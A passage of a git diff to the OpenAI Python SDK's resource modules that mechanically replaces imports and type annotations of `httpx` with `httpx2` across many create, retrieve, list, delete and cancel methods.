extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> TranscriptionDiarized: ...
@overload
@@ -252,7 +252,7 @@ def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Stream[TranscriptionStreamEvent]:
"""
Transcribes audio into the input language.
@@ -373,7 +373,7 @@ def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> TranscriptionCreateResponse | Stream[TranscriptionStreamEvent]:
"""
Transcribes audio into the input language.
@@ -494,7 +494,7 @@ def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> str | Transcription | TranscriptionDiarized | TranscriptionVerbose | Stream[TranscriptionStreamEvent]:
body = deepcopy_with_paths(
{
@@ -587,7 +587,7 @@ async def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> TranscriptionCreateResponse:
"""
Transcribes audio into the input language.
@@ -700,7 +700,7 @@ async def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> TranscriptionVerbose: ...
@overload
@@ -723,7 +723,7 @@ async def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> str: ...
@overload
@@ -749,7 +749,7 @@ async def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> AsyncStream[TranscriptionStreamEvent]:
"""
Transcribes audio into the input language.
@@ -870,7 +870,7 @@ async def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> TranscriptionCreateResponse | AsyncStream[TranscriptionStreamEvent]:
"""
Transcribes audio into the input language.
@@ -991,7 +991,7 @@ async def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Transcription | TranscriptionVerbose | TranscriptionDiarized | str | AsyncStream[TranscriptionStreamEvent]:
body = deepcopy_with_paths(
{
diff --git a/src/openai/resources/audio/translations.py b/src/openai/resources/audio/translations.py
index 8b8f16d051..60b746b5f2 100644
--- a/src/openai/resources/audio/translations.py
+++ b/src/openai/resources/audio/translations.py
@@ -6,7 +6,7 @@
from typing import TYPE_CHECKING, Union, Mapping, cast
from typing_extensions import Literal, overload, assert_never
-import httpx
+import httpx2
from ... import _legacy_response
from ..._files import deepcopy_with_paths
@@ -63,7 +63,7 @@ def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Translation: ...
@overload
@@ -80,7 +80,7 @@ def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> TranslationVerbose: ...
@overload
@@ -97,7 +97,7 @@ def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> str: ...
def create(
@@ -113,7 +113,7 @@ def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Translation | TranslationVerbose | str:
"""
Translates audio into English.
@@ -215,7 +215,7 @@ async def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Translation: ...
@overload
@@ -232,7 +232,7 @@ async def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> TranslationVerbose: ...
@overload
@@ -249,7 +249,7 @@ async def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> str: ...
async def create(
@@ -265,7 +265,7 @@ async def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Translation | TranslationVerbose | str:
"""
Translates audio into English.
diff --git a/src/openai/resources/batches.py b/src/openai/resources/batches.py
index 08b3754ed7..9e7381a30f 100644
--- a/src/openai/resources/batches.py
+++ b/src/openai/resources/batches.py
@@ -5,7 +5,7 @@
from typing import Optional
from typing_extensions import Literal
-import httpx
+import httpx2
from .. import _legacy_response
from ..types import batch_list_params, batch_create_params
@@ -66,7 +66,7 @@ def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Batch:
"""
Creates and executes a batch from an uploaded file of requests
@@ -141,7 +141,7 @@ def retrieve(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Batch:
"""
Retrieves a batch.
@@ -179,7 +179,7 @@ def list(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> SyncCursorPage[Batch]:
"""List your organization's batches.
@@ -231,7 +231,7 @@ def cancel(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Batch:
"""Cancels an in-progress batch.
@@ -307,7 +307,7 @@ async def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Batch:
"""
Creates and executes a batch from an uploaded file of requests
@@ -382,7 +382,7 @@ async def retrieve(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Batch:
"""
Retrieves a batch.
@@ -420,7 +420,7 @@ def list(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> AsyncPaginator[Batch, AsyncCursorPage[Batch]]:
"""List your organization's batches.
@@ -472,7 +472,7 @@ async def cancel(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Batch:
"""Cancels an in-progress batch.
diff --git a/src/openai/resources/beta/assistants.py b/src/openai/resources/beta/assistants.py
index ea536d29e6..6c67501a07 100644
--- a/src/openai/resources/beta/assistants.py
+++ b/src/openai/resources/beta/assistants.py
@@ -6,7 +6,7 @@
from typing import Union, Iterable, Optional
from typing_extensions import Literal
-import httpx
+import httpx2
from ... import _legacy_response
from ..._types import Body, Omit, Query, Headers, NotGiven, omit, not_given
@@ -74,7 +74,7 @@ def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Assistant:
"""
Create an assistant with a model and instructions.
@@ -194,7 +194,7 @@ def retrieve(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Assistant:
"""
Retrieves an assistant.
@@ -291,7 +291,7 @@ def update(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Assistant:
"""Modifies an assistant.
@@ -417,7 +417,7 @@ def list(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> SyncCursorPage[Assistant]:
"""Returns a list of assistants.
@@ -481,7 +481,7 @@ def delete(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> AssistantDeleted:
"""
Delete an assistant.
@@ -553,7 +553,7 @@ async def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Assistant:
"""
Create an assistant with a model and instructions.
@@ -673,7 +673,7 @@ async def retrieve(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Assistant:
"""
Retrieves an assistant.
@@ -770,7 +770,7 @@ async def update(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Assistant:
"""Modifies an assistant.
@@ -896,7 +896,7 @@ def list(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> AsyncPaginator[Assistant, AsyncCursorPage[Assistant]]:
"""Returns a list of assistants.
@@ -960,7 +960,7 @@ async def delete(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> AssistantDeleted:
"""
Delete an assistant.
diff --git a/src/openai/resources/beta/chatkit/sessions.py b/src/openai/resources/beta/chatkit/sessions.py
index 41906ad7f7..6b02637bec 100644
--- a/src/openai/resources/beta/chatkit/sessions.py
+++ b/src/openai/resources/beta/chatkit/sessions.py
@@ -2,7 +2,7 @@
from __future__ import annotations
-import httpx
+import httpx2
from .... import _legacy_response
from ...._types import Body, Omit, Query, Headers, NotGiven, omit, not_given
@@ -60,7 +60,7 @@ def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> ChatSession:
"""
Create a ChatKit session.
@@ -118,7 +118,7 @@ def cancel(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> ChatSession:
"""
Cancel an active ChatKit session and return its most recent metadata.
@@ -183,7 +183,7 @@ async def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> ChatSession:
"""
Create a ChatKit session.
@@ -241,7 +241,7 @@ async def cancel(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> ChatSession:
"""
Cancel an active ChatKit session and return its most recent metadata.
diff --git a/src/openai/resources/beta/chatkit/threads.py b/src/openai/resources/beta/chatkit/threads.py
index 42d17a64d5..28c493a7eb 100644
--- a/src/openai/resources/beta/chatkit/threads.py
+++ b/src/openai/resources/beta/chatkit/threads.py
@@ -5,7 +5,7 @@
from typing import Any, cast
from typing_extensions import Literal
-import httpx
+import httpx2
from .... import _legacy_response
from ...._types import Body, Omit, Query, Headers, NotGiven, omit, not_given
@@ -52,7 +52,7 @@ def retrieve(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> ChatKitThread:
"""
Retrieve a ChatKit thread by its identifier.
@@ -94,7 +94,7 @@ def list(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> SyncConversationCursorPage[ChatKitThread]:
"""
List ChatKit threads with optional pagination and user filters.
@@ -154,7 +154,7 @@ def delete(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> ThreadDeleteResponse:
"""
Delete a ChatKit thread along with its items and stored attachments.
@@ -196,7 +196,7 @@ def list_items(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> SyncConversationCursorPage[Data]:
"""
List items that belong to a ChatKit thread.
@@ -275,7 +275,7 @@ async def retrieve(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> ChatKitThread:
"""
Retrieve a ChatKit thread by its identifier.
@@ -317,7 +317,7 @@ def list(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> AsyncPaginator[ChatKitThread, AsyncConversationCursorPage[ChatKitThread]]:
"""
List ChatKit threads with optional pagination and user filters.
@@ -377,7 +377,7 @@ async def delete(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> ThreadDeleteResponse:
"""
Delete a ChatKit thread along with its items and stored attachments.
@@ -419,7 +419,7 @@ def list_items(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> AsyncPaginator[Data, AsyncConversationCursorPage[Data]]:
"""
List items that belong to a ChatKit thread.
diff --git a/src/openai/resources/beta/realtime/realtime.py b/src/openai/resources/beta/realtime/realtime.py
index 98b717a184..6d1ef956ed 100644
--- a/src/openai/resources/beta/realtime/realtime.py
+++ b/src/openai/resources/beta/realtime/realtime.py
@@ -8,7 +8,7 @@
from typing import TYPE_CHECKING, Any, Iterator, cast
from typing_extensions import AsyncIterator
-import httpx
+import httpx2
from pydantic import BaseModel
from .sessions import (
@@ -394,7 +394,7 @@ async def __aenter__(self) -> AsyncRealtimeConnection:
enter = __aenter__
- def _prepare_url(self) -> httpx.URL:
+ def _prepare_url(self) -> httpx2.URL:
if self.__client.websocket_base_url is not None:
base_url = normalize_httpx_url(self.__client.websocket_base_url)
else:
@@ -577,7 +577,7 @@ def __enter__(self) -> RealtimeConnection:
enter = __enter__
- def _prepare_url(self) -> httpx.URL:
+ def _prepare_url(self) -> httpx2.URL:
if self.__client.websocket_base_url is not None:
base_url = normalize_httpx_url(self.__client.websocket_base_url)
else:
diff --git a/src/openai/resources/beta/realtime/sessions.py b/src/openai/resources/beta/realtime/sessions.py
index 9b85e02d17..50a38df7f8 100644
--- a/src/openai/resources/beta/realtime/sessions.py
+++ b/src/openai/resources/beta/realtime/sessions.py
@@ -5,7 +5,7 @@
from typing import List, Union, Iterable
from typing_extensions import Literal
-import httpx
+import httpx2
from .... import _legacy_response
from ...._types import NOT_GIVEN, Body, Query, Headers, NotGiven
@@ -75,7 +75,7 @@ def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = NOT_GIVEN,
+ timeout: float | httpx2.Timeout | None | NotGiven = NOT_GIVEN,
) -> SessionCreateResponse:
"""
Create an ephemeral API token for use in client-side applications with the
@@ -259,7 +259,7 @@ async def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = NOT_GIVEN,
+ timeout: float | httpx2.Timeout | None | NotGiven = NOT_GIVEN,
) -> SessionCreateResponse:
"""
Create an ephemeral API token for use in client-side applications with the
diff --git a/src/openai/resources/beta/realtime/transcription_sessions.py b/src/openai/resources/beta/realtime/transcription_sessions.py
index 54fe7d5a6c..5ba79c7172 100644
--- a/src/openai/resources/beta/realtime/transcription_sessions.py
+++ b/src/openai/resources/beta/realtime/transcription_sessions.py
@@ -5,7 +5,7 @@
from typing import List
from typing_extensions import Literal
-import httpx
+import httpx2
from .... import _legacy_response
from ...._types import NOT_GIVEN, Body, Query, Headers, NotGiven
@@ -56,7 +56,7 @@ def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = NOT_GIVEN,
+ timeout: float | httpx2.Timeout | None | NotGiven = NOT_GIVEN,
) -> TranscriptionSession:
"""
Create an ephemeral API token for use in client-side applications with the
@@ -169,7 +169,7 @@ async def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = NOT_GIVEN,
+ timeout: float | httpx2.Timeout | None | NotGiven = NOT_GIVEN,
) -> TranscriptionSession:
"""
Create an ephemeral API token for use in client-side applications with the
diff --git a/src/openai/resources/beta/responses/input_items.py b/src/openai/resources/beta/responses/input_items.py
index 325395dac4..219ea5cdd1 100644
--- a/src/openai/resources/beta/responses/input_items.py
+++ b/src/openai/resources/beta/responses/input_items.py
@@ -5,7 +5,7 @@
from typing import Any, List, cast
from typing_extensions import Literal
-import httpx
+import httpx2
from .... import _legacy_response
from ...._types import Body, Omit, Query, Headers, NotGiven, omit, not_given
@@ -56,7 +56,7 @@ def list(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> SyncCursorPage[BetaResponseItem]:
"""
Returns a list of input items for a given response.
@@ -146,7 +146,7 @@ def list(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> AsyncPaginator[BetaResponseItem, AsyncCursorPage[BetaResponseItem]]:
"""
Returns a list of input items for a given response.
diff --git a/src/openai/resources/beta/responses/input_tokens.py b/src/openai/resources/beta/responses/input_tokens.py
index a2af998fbb..cac50b1629 100644
--- a/src/openai/resources/beta/responses/input_tokens.py
+++ b/src/openai/resources/beta/responses/input_tokens.py
@@ -5,7 +5,7 @@
from typing import List, Union, Iterable, Optional
from typing_extensions import Literal
-import httpx
+import httpx2
from .... import _legacy_response
from ...._types import Body, Omit, Query, Headers, NotGiven, omit, not_given
@@ -63,7 +63,7 @@ def count(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> InputTokenCountResponse:
"""
Returns input token counts of the request.
@@ -204,7 +204,7 @@ async def count(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> InputTokenCountResponse:
"""
Returns input token counts of the request.
diff --git a/src/openai/resources/beta/responses/responses.py b/src/openai/resources/beta/responses/responses.py
index 7bf83d2a4c..2b4217db8f 100644
--- a/src/openai/resources/beta/responses/responses.py
+++ b/src/openai/resources/beta/responses/responses.py
@@ -10,7 +10,7 @@
from typing import TYPE_CHECKING, Any, Dict, List, Union, Callable, Iterable, Iterator, Optional, Awaitable, cast
from typing_extensions import Literal, AsyncIterator, overload
-import httpx
+import httpx2
from pydantic import BaseModel
from .... import _legacy_response
@@ -249,7 +249,7 @@ def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> BetaResponse:
"""Creates a model response.
@@ -638,7 +638,7 @@ def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Stream[BetaResponseStreamEvent]:
"""Creates a model response.
@@ -1027,7 +1027,7 @@ def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> BetaResponse | Stream[BetaResponseStreamEvent]:
"""Creates a model response.
@@ -1415,7 +1415,7 @@ def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> BetaResponse | Stream[BetaResponseStreamEvent]:
extra_headers = {
**strip_not_given({"openai-beta": ",".join(str(e) for e in betas) if is_given(betas) else not_given}),
@@ -1489,7 +1489,7 @@ def retrieve(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> BetaResponse:
"""
Retrieves a model response with the given ID.
@@ -1539,7 +1539,7 @@ def retrieve(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Stream[BetaResponseStreamEvent]:
"""
Retrieves a model response with the given ID.
@@ -1589,7 +1589,7 @@ def retrieve(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> BetaResponse | Stream[BetaResponseStreamEvent]:
"""
Retrieves a model response with the given ID.
@@ -1638,7 +1638,7 @@ def retrieve(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> BetaResponse | Stream[BetaResponseStreamEvent]:
if not response_id:
raise ValueError(f"Expected a non-empty value for `response_id` but received {response_id!r}")
@@ -1679,7 +1679,7 @@ def delete(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> None:
"""
Deletes a model response with the given ID.
@@ -1722,7 +1722,7 @@ def cancel(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> BetaResponse:
"""Cancels a model response with the given ID.
@@ -1878,7 +1878,7 @@ def compact(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> BetaCompactedResponse:
"""Compact a conversation.
@@ -2177,7 +2177,7 @@ async def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> BetaResponse:
"""Creates a model response.
@@ -2566,7 +2566,7 @@ async def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> AsyncStream[BetaResponseStreamEvent]:
"""Creates a model response.
@@ -2955,7 +2955,7 @@ async def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> BetaResponse | AsyncStream[BetaResponseStreamEvent]:
"""Creates a model response.
@@ -3343,7 +3343,7 @@ async def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> BetaResponse | AsyncStream[BetaResponseStreamEvent]:
extra_headers = {
**strip_not_given({"openai-beta": ",".join(str(e) for e in betas) if is_given(betas) else not_given}),
@@ -3417,7 +3417,7 @@ async def retrieve(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> BetaResponse:
"""
Retrieves a model response with the given ID.
@@ -3467,7 +3467,7 @@ async def retrieve(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> AsyncStream[BetaResponseStreamEvent]:
"""
Retrieves a model response with the given ID.
@@ -3517,7 +3517,7 @@ async def retrieve(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> BetaResponse | AsyncStream[BetaResponseStreamEvent]:
"""
Retrieves a model response with the given ID.
@@ -3566,7 +3566,7 @@ async def retrieve(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> BetaResponse | AsyncStream[BetaResponseStreamEvent]:
if not response_id:
raise ValueError(f"Expected a non-empty value for `response_id` but received {response_id!r}")
@@ -3607,7 +3607,7 @@ async def delete(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> None:
"""
Deletes a model response with the given ID.
@@ -3650,7 +3650,7 @@ async def cancel(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> BetaResponse:
"""Cancels a model response with the given ID.
@@ -3806,7 +3806,7 @@ async def compact(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> BetaCompactedResponse:
"""Compact a conversation.
